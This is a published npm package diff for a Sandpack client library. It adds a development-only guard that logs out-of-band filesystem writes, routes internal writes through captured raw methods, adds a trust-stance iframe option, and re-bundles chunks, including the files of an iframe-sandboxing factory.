- case 3: return [4 /*yield*/, Promise.resolve().then(function () { return require('./index--fILWAw8.js'); }).then(function (m) { return m.SandpackStatic; })];
27
+ case 3: return [4 /*yield*/, Promise.resolve().then(function () { return require('./index-DWUK0Qhn.js'); }).then(function (m) { return m.SandpackStatic; })];
28
28
  case 4:
29
29
  Client = _c.sent();
30
30
  return [3 /*break*/, 7];
package/dist/index.mjs CHANGED
@@ -1,6 +1,6 @@
1
1
  import { _ as __awaiter, a as __generator } from './utils-DG1HA4RZ.mjs';
2
2
  export { b as addPackageJSONIfNeededToMap, c as createError, d as createPackageJSON, e as extractErrorDetails, n as normalizePath, f as nullthrows } from './utils-DG1HA4RZ.mjs';
3
- export { M as META_PATH, S as SandpackFS, a as SandpackLogLevel } from './types-BFONOA2L.mjs';
3
+ export { M as META_PATH, S as SandpackFS, a as SandpackLogLevel } from './types-DR29do3R.mjs';
4
4
  import 'outvariant';
5
5
  import '@zenfs/core';
6
6
 
@@ -23,7 +23,7 @@ function loadSandpackClient(iframeSelector_1, sandboxSetup_1) {
23
23
  case 2:
24
24
  Client = _c.sent();
25
25
  return [3 /*break*/, 7];
26
- case 3: return [4 /*yield*/, import('./index-rbhm_KmF.mjs').then(function (m) { return m.SandpackStatic; })];
26
+ case 3: return [4 /*yield*/, import('./index-Bg_0g5j2.mjs').then(function (m) { return m.SandpackStatic; })];
27
27
  case 4:
28
28
  Client = _c.sent();
29
29
  return [3 /*break*/, 7];
@@ -7,6 +7,70 @@ import { mount, bindContext, resolveMountConfig, InMemory } from '@zenfs/core';
7
7
  */
8
8
  var META_PATH = "/.sandpack/meta.json";
9
9
  var META_DIR = "/.sandpack";
10
+ /**
11
+ * Dev-only flag, using the standard `process.env.NODE_ENV` convention. This dist is
12
+ * always consumed by a bundler (site-main, the sandbox) that statically replaces
13
+ * `process.env.NODE_ENV`, so in a production build this folds to `false` and the
14
+ * `if (IS_DEV)` branch — with the whole {@link installOutOfBandGuard} function it is
15
+ * the only reference to — is dead-code-eliminated (verified with terser: the
16
+ * assertion string is absent once `NODE_ENV="production"`). The bare form (no
17
+ * `typeof` guard) is what lets it fold to a literal; a `typeof process` guard would
18
+ * defeat the elimination.
19
+ */
20
+ var IS_DEV = process.env.NODE_ENV !== "production";
21
+ /**
22
+ * The ZenFS `fs.promises` methods that mutate the store. In dev these are wrapped
23
+ * (see {@link installOutOfBandGuard}) so a write that reaches this instance's
24
+ * bound-context fs **without** going through `SandpackFS.writeFile` is caught.
25
+ * Reads (`readFile`/`readdir`/`stat`) are never guarded.
26
+ */
27
+ var GUARDED_WRITE_METHODS = [
28
+ "writeFile",
29
+ "unlink",
30
+ "mkdir",
31
+ "rename",
32
+ "appendFile",
33
+ "truncate",
34
+ "rm",
35
+ "rmdir",
36
+ ];
37
+ /**
38
+ * Dev-only. Wrap the store-mutating methods on a SandpackFS instance's
39
+ * bound-context `fs.promises` so any write that did **not** go through
40
+ * `SandpackFS.writeFile` / `handleRemoteChange` (those use captured raw methods,
41
+ * which stay unwrapped) emits a single loud `console.error` naming the offending
42
+ * method + path, then still performs the write. Enforces the class writer invariant
43
+ * (roadmap R3-110).
44
+ *
45
+ * This is a module-level function (not a class method) and its **only** reference
46
+ * is behind the `if (IS_DEV)` branch in the constructor — so once a consumer's
47
+ * production build folds `IS_DEV` to `false`, the branch and this whole function
48
+ * tree-shake away (a class method would be retained). No-op in production.
49
+ */
50
+ function installOutOfBandGuard(fsContext) {
51
+ var p = fsContext.fs.promises;
52
+ var _loop_1 = function (method) {
53
+ var original = p[method];
54
+ if (typeof original !== "function")
55
+ return "continue";
56
+ var call = original;
57
+ p[method] = function () {
58
+ var args = [];
59
+ for (var _i = 0; _i < arguments.length; _i++) {
60
+ args[_i] = arguments[_i];
61
+ }
62
+ console.error("[SandpackFS] out-of-band write: '".concat(method, "(").concat(String(args[0]), ")' bypassed SandpackFS.writeFile()/handleRemoteChange(), so it emits ") +
63
+ "no onChange \u2014 the editor view and bundler relay will miss it. Route the " +
64
+ "write through SandpackFS (EDITOR_AS_APP_SPEC D-EDIT-1 writer invariant; " +
65
+ "LOCAL_DEVELOPMENT_SPEC \u00A76.5).");
66
+ return call.apply(p, args);
67
+ };
68
+ };
69
+ for (var _i = 0, GUARDED_WRITE_METHODS_1 = GUARDED_WRITE_METHODS; _i < GUARDED_WRITE_METHODS_1.length; _i++) {
70
+ var method = GUARDED_WRITE_METHODS_1[_i];
71
+ _loop_1(method);
72
+ }
73
+ }
10
74
  var mountCounter = 0;
11
75
  var normalize = function (path) {
12
76
  return path.startsWith("/") ? path : "/".concat(path);
@@ -19,6 +83,20 @@ var normalize = function (path) {
19
83
  * All reads / writes are async. Changes emit a single coalesced notification
20
84
  * (watcher or explicit helper calls) so React can subscribe via
21
85
  * `useSyncExternalStore`.
86
+ *
87
+ * ## Writer invariant (why every mutation must funnel through here)
88
+ *
89
+ * The ZenFS `Port` backend does **not** forward watch events across the iframe
90
+ * boundary, so **every** independent mutator of the shared store MUST route through
91
+ * {@link SandpackFS.writeFile} (local edits → `external: false`) or
92
+ * {@link SandpackFS.handleRemoteChange} (iframe edits relayed by the host's
93
+ * `exportZenFS` → `external: true`). A write that reaches this instance's
94
+ * bound-context fs by any other path emits no `onChange`, so the editor view and
95
+ * the bundler relay silently miss it. This is the conflict-model writer invariant
96
+ * spec'd in **`EDITOR_AS_APP_SPEC.md` → Decisions & rejected alternatives D-EDIT-1**
97
+ * ("Conflict-model note (writer invariant)") and **`LOCAL_DEVELOPMENT_SPEC.md` §6.5**.
98
+ * In dev, {@link installOutOfBandGuard} turns that convention into a loud
99
+ * assertion (roadmap R3-110); in production the guard is compiled out.
22
100
  */
23
101
  var SandpackFS = /** @class */ (function () {
24
102
  function SandpackFS(fsContext, remotePortFactory,
@@ -35,6 +113,12 @@ var SandpackFS = /** @class */ (function () {
35
113
  this.sidecarEnvironment = undefined;
36
114
  this.sidecarMode = undefined;
37
115
  this.disposed = false;
116
+ var p = fsContext.fs.promises;
117
+ this.rawWriteFile = p.writeFile.bind(p);
118
+ this.rawUnlink = p.unlink.bind(p);
119
+ this.rawMkdir = p.mkdir.bind(p);
120
+ if (IS_DEV)
121
+ installOutOfBandGuard(fsContext);
38
122
  }
39
123
  /**
40
124
  * Create the `MessagePort` shared with the child iframe, wiring the iframe's
@@ -85,9 +169,7 @@ var SandpackFS = /** @class */ (function () {
85
169
  * lifecycle - {@link dispose} will unmount but not destroy the underlying
86
170
  * store.
87
171
  */
88
- SandpackFS.fromFileSystemContext = function (
89
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
90
- fsContext, remotePortFactory, onWrite) {
172
+ SandpackFS.fromFileSystemContext = function (fsContext, remotePortFactory, onWrite) {
91
173
  return __awaiter(this, void 0, void 0, function () {
92
174
  var instance;
93
175
  return __generator(this, function (_a) {
@@ -149,7 +231,7 @@ var SandpackFS = /** @class */ (function () {
149
231
  return [4 /*yield*/, this.ensureParent(abs)];
150
232
  case 1:
151
233
  _b.sent();
152
- return [4 /*yield*/, this.fsContext.fs.promises.writeFile(abs, content)];
234
+ return [4 /*yield*/, this.rawWriteFile(abs, content)];
153
235
  case 2:
154
236
  _b.sent();
155
237
  normalized = normalize(path);
@@ -166,7 +248,7 @@ var SandpackFS = /** @class */ (function () {
166
248
  var normalized;
167
249
  return __generator(this, function (_a) {
168
250
  switch (_a.label) {
169
- case 0: return [4 /*yield*/, this.fsContext.fs.promises.unlink(this.toAbs(path))];
251
+ case 0: return [4 /*yield*/, this.rawUnlink(this.toAbs(path))];
170
252
  case 1:
171
253
  _a.sent();
172
254
  normalized = normalize(path);
@@ -321,7 +403,7 @@ var SandpackFS = /** @class */ (function () {
321
403
  switch (_b.label) {
322
404
  case 0:
323
405
  _b.trys.push([0, 2, , 3]);
324
- return [4 /*yield*/, this.fsContext.fs.promises.mkdir(META_DIR, {
406
+ return [4 /*yield*/, this.rawMkdir(META_DIR, {
325
407
  recursive: true,
326
408
  })];
327
409
  case 1:
@@ -350,7 +432,7 @@ var SandpackFS = /** @class */ (function () {
350
432
  _b.label = 1;
351
433
  case 1:
352
434
  _b.trys.push([1, 3, , 4]);
353
- return [4 /*yield*/, this.fsContext.fs.promises.mkdir(dir, { recursive: true })];
435
+ return [4 /*yield*/, this.rawMkdir(dir, { recursive: true })];
354
436
  case 2:
355
437
  _b.sent();
356
438
  return [3 /*break*/, 4];
@@ -437,7 +519,7 @@ var SandpackFS = /** @class */ (function () {
437
519
  return [4 /*yield*/, this.ensureParent(abs)];
438
520
  case 3:
439
521
  _c.sent();
440
- return [4 /*yield*/, this.fsContext.fs.promises.writeFile(abs, entry.code)];
522
+ return [4 /*yield*/, this.rawWriteFile(abs, entry.code)];
441
523
  case 4:
442
524
  _c.sent();
443
525
  fileMeta = {};
@@ -478,7 +560,7 @@ var SandpackFS = /** @class */ (function () {
478
560
  if (this.sidecarMode !== undefined) {
479
561
  sidecar.mode = this.sidecarMode;
480
562
  }
481
- return [4 /*yield*/, this.fsContext.fs.promises.writeFile(this.toAbs(META_PATH), JSON.stringify(sidecar))];
563
+ return [4 /*yield*/, this.rawWriteFile(this.toAbs(META_PATH), JSON.stringify(sidecar))];
482
564
  case 2:
483
565
  _a.sent();
484
566
  return [2 /*return*/];
@@ -9,6 +9,70 @@ var core = require('@zenfs/core');
9
9
  */
10
10
  var META_PATH = "/.sandpack/meta.json";
11
11
  var META_DIR = "/.sandpack";
12
+ /**
13
+ * Dev-only flag, using the standard `process.env.NODE_ENV` convention. This dist is
14
+ * always consumed by a bundler (site-main, the sandbox) that statically replaces
15
+ * `process.env.NODE_ENV`, so in a production build this folds to `false` and the
16
+ * `if (IS_DEV)` branch — with the whole {@link installOutOfBandGuard} function it is
17
+ * the only reference to — is dead-code-eliminated (verified with terser: the
18
+ * assertion string is absent once `NODE_ENV="production"`). The bare form (no
19
+ * `typeof` guard) is what lets it fold to a literal; a `typeof process` guard would
20
+ * defeat the elimination.
21
+ */
22
+ var IS_DEV = process.env.NODE_ENV !== "production";
23
+ /**
24
+ * The ZenFS `fs.promises` methods that mutate the store. In dev these are wrapped
25
+ * (see {@link installOutOfBandGuard}) so a write that reaches this instance's
26
+ * bound-context fs **without** going through `SandpackFS.writeFile` is caught.
27
+ * Reads (`readFile`/`readdir`/`stat`) are never guarded.
28
+ */
29
+ var GUARDED_WRITE_METHODS = [
30
+ "writeFile",
31
+ "unlink",
32
+ "mkdir",
33
+ "rename",
34
+ "appendFile",
35
+ "truncate",
36
+ "rm",
37
+ "rmdir",
38
+ ];
39
+ /**
40
+ * Dev-only. Wrap the store-mutating methods on a SandpackFS instance's
41
+ * bound-context `fs.promises` so any write that did **not** go through
42
+ * `SandpackFS.writeFile` / `handleRemoteChange` (those use captured raw methods,
43
+ * which stay unwrapped) emits a single loud `console.error` naming the offending
44
+ * method + path, then still performs the write. Enforces the class writer invariant
45
+ * (roadmap R3-110).
46
+ *
47
+ * This is a module-level function (not a class method) and its **only** reference
48
+ * is behind the `if (IS_DEV)` branch in the constructor — so once a consumer's
49
+ * production build folds `IS_DEV` to `false`, the branch and this whole function
50
+ * tree-shake away (a class method would be retained). No-op in production.
51
+ */
52
+ function installOutOfBandGuard(fsContext) {
53
+ var p = fsContext.fs.promises;
54
+ var _loop_1 = function (method) {
55
+ var original = p[method];
56
+ if (typeof original !== "function")
57
+ return "continue";
58
+ var call = original;
59
+ p[method] = function () {
60
+ var args = [];
61
+ for (var _i = 0; _i < arguments.length; _i++) {
62
+ args[_i] = arguments[_i];
63
+ }
64
+ console.error("[SandpackFS] out-of-band write: '".concat(method, "(").concat(String(args[0]), ")' bypassed SandpackFS.writeFile()/handleRemoteChange(), so it emits ") +
65
+ "no onChange \u2014 the editor view and bundler relay will miss it. Route the " +
66
+ "write through SandpackFS (EDITOR_AS_APP_SPEC D-EDIT-1 writer invariant; " +
67
+ "LOCAL_DEVELOPMENT_SPEC \u00A76.5).");
68
+ return call.apply(p, args);
69
+ };
70
+ };
71
+ for (var _i = 0, GUARDED_WRITE_METHODS_1 = GUARDED_WRITE_METHODS; _i < GUARDED_WRITE_METHODS_1.length; _i++) {
72
+ var method = GUARDED_WRITE_METHODS_1[_i];
73
+ _loop_1(method);
74
+ }
75
+ }
12
76
  var mountCounter = 0;
13
77
  var normalize = function (path) {
14
78
  return path.startsWith("/") ? path : "/".concat(path);
@@ -21,6 +85,20 @@ var normalize = function (path) {
21
85
  * All reads / writes are async. Changes emit a single coalesced notification
22
86
  * (watcher or explicit helper calls) so React can subscribe via
23
87
  * `useSyncExternalStore`.
88
+ *
89
+ * ## Writer invariant (why every mutation must funnel through here)
90
+ *
91
+ * The ZenFS `Port` backend does **not** forward watch events across the iframe
92
+ * boundary, so **every** independent mutator of the shared store MUST route through
93
+ * {@link SandpackFS.writeFile} (local edits → `external: false`) or
94
+ * {@link SandpackFS.handleRemoteChange} (iframe edits relayed by the host's
95
+ * `exportZenFS` → `external: true`). A write that reaches this instance's
96
+ * bound-context fs by any other path emits no `onChange`, so the editor view and
97
+ * the bundler relay silently miss it. This is the conflict-model writer invariant
98
+ * spec'd in **`EDITOR_AS_APP_SPEC.md` → Decisions & rejected alternatives D-EDIT-1**
99
+ * ("Conflict-model note (writer invariant)") and **`LOCAL_DEVELOPMENT_SPEC.md` §6.5**.
100
+ * In dev, {@link installOutOfBandGuard} turns that convention into a loud
101
+ * assertion (roadmap R3-110); in production the guard is compiled out.
24
102
  */
25
103
  var SandpackFS = /** @class */ (function () {
26
104
  function SandpackFS(fsContext, remotePortFactory,
@@ -37,6 +115,12 @@ var SandpackFS = /** @class */ (function () {
37
115
  this.sidecarEnvironment = undefined;
38
116
  this.sidecarMode = undefined;
39
117
  this.disposed = false;
118
+ var p = fsContext.fs.promises;
119
+ this.rawWriteFile = p.writeFile.bind(p);
120
+ this.rawUnlink = p.unlink.bind(p);
121
+ this.rawMkdir = p.mkdir.bind(p);
122
+ if (IS_DEV)
123
+ installOutOfBandGuard(fsContext);
40
124
  }
41
125
  /**
42
126
  * Create the `MessagePort` shared with the child iframe, wiring the iframe's
@@ -87,9 +171,7 @@ var SandpackFS = /** @class */ (function () {
87
171
  * lifecycle - {@link dispose} will unmount but not destroy the underlying
88
172
  * store.
89
173
  */
90
- SandpackFS.fromFileSystemContext = function (
91
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
92
- fsContext, remotePortFactory, onWrite) {
174
+ SandpackFS.fromFileSystemContext = function (fsContext, remotePortFactory, onWrite) {
93
175
  return utils.__awaiter(this, void 0, void 0, function () {
94
176
  var instance;
95
177
  return utils.__generator(this, function (_a) {
@@ -151,7 +233,7 @@ var SandpackFS = /** @class */ (function () {
151
233
  return [4 /*yield*/, this.ensureParent(abs)];
152
234
  case 1:
153
235
  _b.sent();
154
- return [4 /*yield*/, this.fsContext.fs.promises.writeFile(abs, content)];
236
+ return [4 /*yield*/, this.rawWriteFile(abs, content)];
155
237
  case 2:
156
238
  _b.sent();
157
239
  normalized = normalize(path);
@@ -168,7 +250,7 @@ var SandpackFS = /** @class */ (function () {
168
250
  var normalized;
169
251
  return utils.__generator(this, function (_a) {
170
252
  switch (_a.label) {
171
- case 0: return [4 /*yield*/, this.fsContext.fs.promises.unlink(this.toAbs(path))];
253
+ case 0: return [4 /*yield*/, this.rawUnlink(this.toAbs(path))];
172
254
  case 1:
173
255
  _a.sent();
174
256
  normalized = normalize(path);
@@ -323,7 +405,7 @@ var SandpackFS = /** @class */ (function () {
323
405
  switch (_b.label) {
324
406
  case 0:
325
407
  _b.trys.push([0, 2, , 3]);
326
- return [4 /*yield*/, this.fsContext.fs.promises.mkdir(META_DIR, {
408
+ return [4 /*yield*/, this.rawMkdir(META_DIR, {
327
409
  recursive: true,
328
410
  })];
329
411
  case 1:
@@ -352,7 +434,7 @@ var SandpackFS = /** @class */ (function () {
352
434
  _b.label = 1;
353
435
  case 1:
354
436
  _b.trys.push([1, 3, , 4]);
355
- return [4 /*yield*/, this.fsContext.fs.promises.mkdir(dir, { recursive: true })];
437
+ return [4 /*yield*/, this.rawMkdir(dir, { recursive: true })];
356
438
  case 2:
357
439
  _b.sent();
358
440
  return [3 /*break*/, 4];
@@ -439,7 +521,7 @@ var SandpackFS = /** @class */ (function () {
439
521
  return [4 /*yield*/, this.ensureParent(abs)];
440
522
  case 3:
441
523
  _c.sent();
442
- return [4 /*yield*/, this.fsContext.fs.promises.writeFile(abs, entry.code)];
524
+ return [4 /*yield*/, this.rawWriteFile(abs, entry.code)];
443
525
  case 4:
444
526
  _c.sent();
445
527
  fileMeta = {};
@@ -480,7 +562,7 @@ var SandpackFS = /** @class */ (function () {
480
562
  if (this.sidecarMode !== undefined) {
481
563
  sidecar.mode = this.sidecarMode;
482
564
  }
483
- return [4 /*yield*/, this.fsContext.fs.promises.writeFile(this.toAbs(META_PATH), JSON.stringify(sidecar))];
565
+ return [4 /*yield*/, this.rawWriteFile(this.toAbs(META_PATH), JSON.stringify(sidecar))];
484
566
  case 2:
485
567
  _a.sent();
486
568
  return [2 /*return*/];
package/dist/types.d.ts CHANGED
@@ -1,3 +1,4 @@
1
+ import type { FrameStance } from "./clients/iframe-factory";
1
2
  import type { SandpackNodeMessage } from "./clients/node/types";
2
3
  import type { SandpackRuntimeMessage } from "./clients/runtime/types";
3
4
  import type { SandpackFS } from "./fs/SandpackFS";
@@ -16,6 +17,14 @@ export interface ClientOptions {
16
17
  * Paths to external resources
17
18
  */
18
19
  externalResources?: string[];
20
+ /**
21
+ * The app's resolved trust stance (TRUST_MODES_SPEC §3 / R3-195). Only `"M3"`
22
+ * (a stranger's app) hardens the emitted iframe (sandbox flags + delegated
23
+ * features); absent or `"M0"`/`"M1"`/`"M2"` keeps the exact baseline. The host
24
+ * resolves this; the client never derives it. The per-frame M3 CSP is delivered
25
+ * with the frame's document (via `bundlerURL`), not here.
26
+ */
27
+ stance?: FrameStance;
19
28
  /**
20
29
  * Location of the bundler.
21
30
  */
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@immediately-run/sandpack-client",
3
- "version": "2.19.10",
3
+ "version": "2.20.0",
4
4
  "description": "",
5
5
  "keywords": [],
6
6
  "repository": {
@@ -1,54 +0,0 @@
1
- 'use strict';
2
-
3
- /**
4
- * The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
5
- * threat T1).
6
- *
7
- * App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
8
- * `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
9
- * could remove its own sandboxing and reach the parent — the whole capability
10
- * model collapses. This is the one invariant with no defense-in-depth, so
11
- * creation is centralized here and the resolved attribute is asserted. Raw
12
- * `document.createElement('iframe')` for app content elsewhere is forbidden (a
13
- * greppable CI check), so the verifiable invariant is "every app iframe is born
14
- * in this factory."
15
- *
16
- * Scope: the opaque-origin app iframes (the runtime + static preview clients).
17
- * The node/nodebox emulator is a different execution model and is intentionally
18
- * NOT routed through here.
19
- */
20
- var APP_SANDBOX = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
21
- var APP_ALLOW = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
22
- /** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
23
- function assertOpaqueOrigin(iframe) {
24
- var _a;
25
- var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
26
- if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
27
- throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
28
- "the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
29
- }
30
- }
31
- /** Create an opaque-origin sandboxed iframe for running untrusted app code. */
32
- function createSandboxedIframe(doc) {
33
- if (doc === void 0) { doc = document; }
34
- var iframe = doc.createElement("iframe");
35
- iframe.setAttribute("sandbox", APP_SANDBOX);
36
- iframe.setAttribute("allow", APP_ALLOW);
37
- assertOpaqueOrigin(iframe);
38
- return iframe;
39
- }
40
- /**
41
- * Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
42
- * sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
43
- * this for the case where a host passes in its own iframe element.
44
- */
45
- function ensureSandboxed(iframe) {
46
- if (!iframe.getAttribute("sandbox")) {
47
- iframe.setAttribute("sandbox", APP_SANDBOX);
48
- iframe.setAttribute("allow", APP_ALLOW);
49
- }
50
- assertOpaqueOrigin(iframe);
51
- }
52
-
53
- exports.createSandboxedIframe = createSandboxedIframe;
54
- exports.ensureSandboxed = ensureSandboxed;
@@ -1,51 +0,0 @@
1
- /**
2
- * The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
3
- * threat T1).
4
- *
5
- * App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
6
- * `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
7
- * could remove its own sandboxing and reach the parent — the whole capability
8
- * model collapses. This is the one invariant with no defense-in-depth, so
9
- * creation is centralized here and the resolved attribute is asserted. Raw
10
- * `document.createElement('iframe')` for app content elsewhere is forbidden (a
11
- * greppable CI check), so the verifiable invariant is "every app iframe is born
12
- * in this factory."
13
- *
14
- * Scope: the opaque-origin app iframes (the runtime + static preview clients).
15
- * The node/nodebox emulator is a different execution model and is intentionally
16
- * NOT routed through here.
17
- */
18
- var APP_SANDBOX = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
19
- var APP_ALLOW = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
20
- /** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
21
- function assertOpaqueOrigin(iframe) {
22
- var _a;
23
- var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
24
- if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
25
- throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
26
- "the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
27
- }
28
- }
29
- /** Create an opaque-origin sandboxed iframe for running untrusted app code. */
30
- function createSandboxedIframe(doc) {
31
- if (doc === void 0) { doc = document; }
32
- var iframe = doc.createElement("iframe");
33
- iframe.setAttribute("sandbox", APP_SANDBOX);
34
- iframe.setAttribute("allow", APP_ALLOW);
35
- assertOpaqueOrigin(iframe);
36
- return iframe;
37
- }
38
- /**
39
- * Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
40
- * sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
41
- * this for the case where a host passes in its own iframe element.
42
- */
43
- function ensureSandboxed(iframe) {
44
- if (!iframe.getAttribute("sandbox")) {
45
- iframe.setAttribute("sandbox", APP_SANDBOX);
46
- iframe.setAttribute("allow", APP_ALLOW);
47
- }
48
- assertOpaqueOrigin(iframe);
49
- }
50
-
51
- export { createSandboxedIframe as c, ensureSandboxed as e };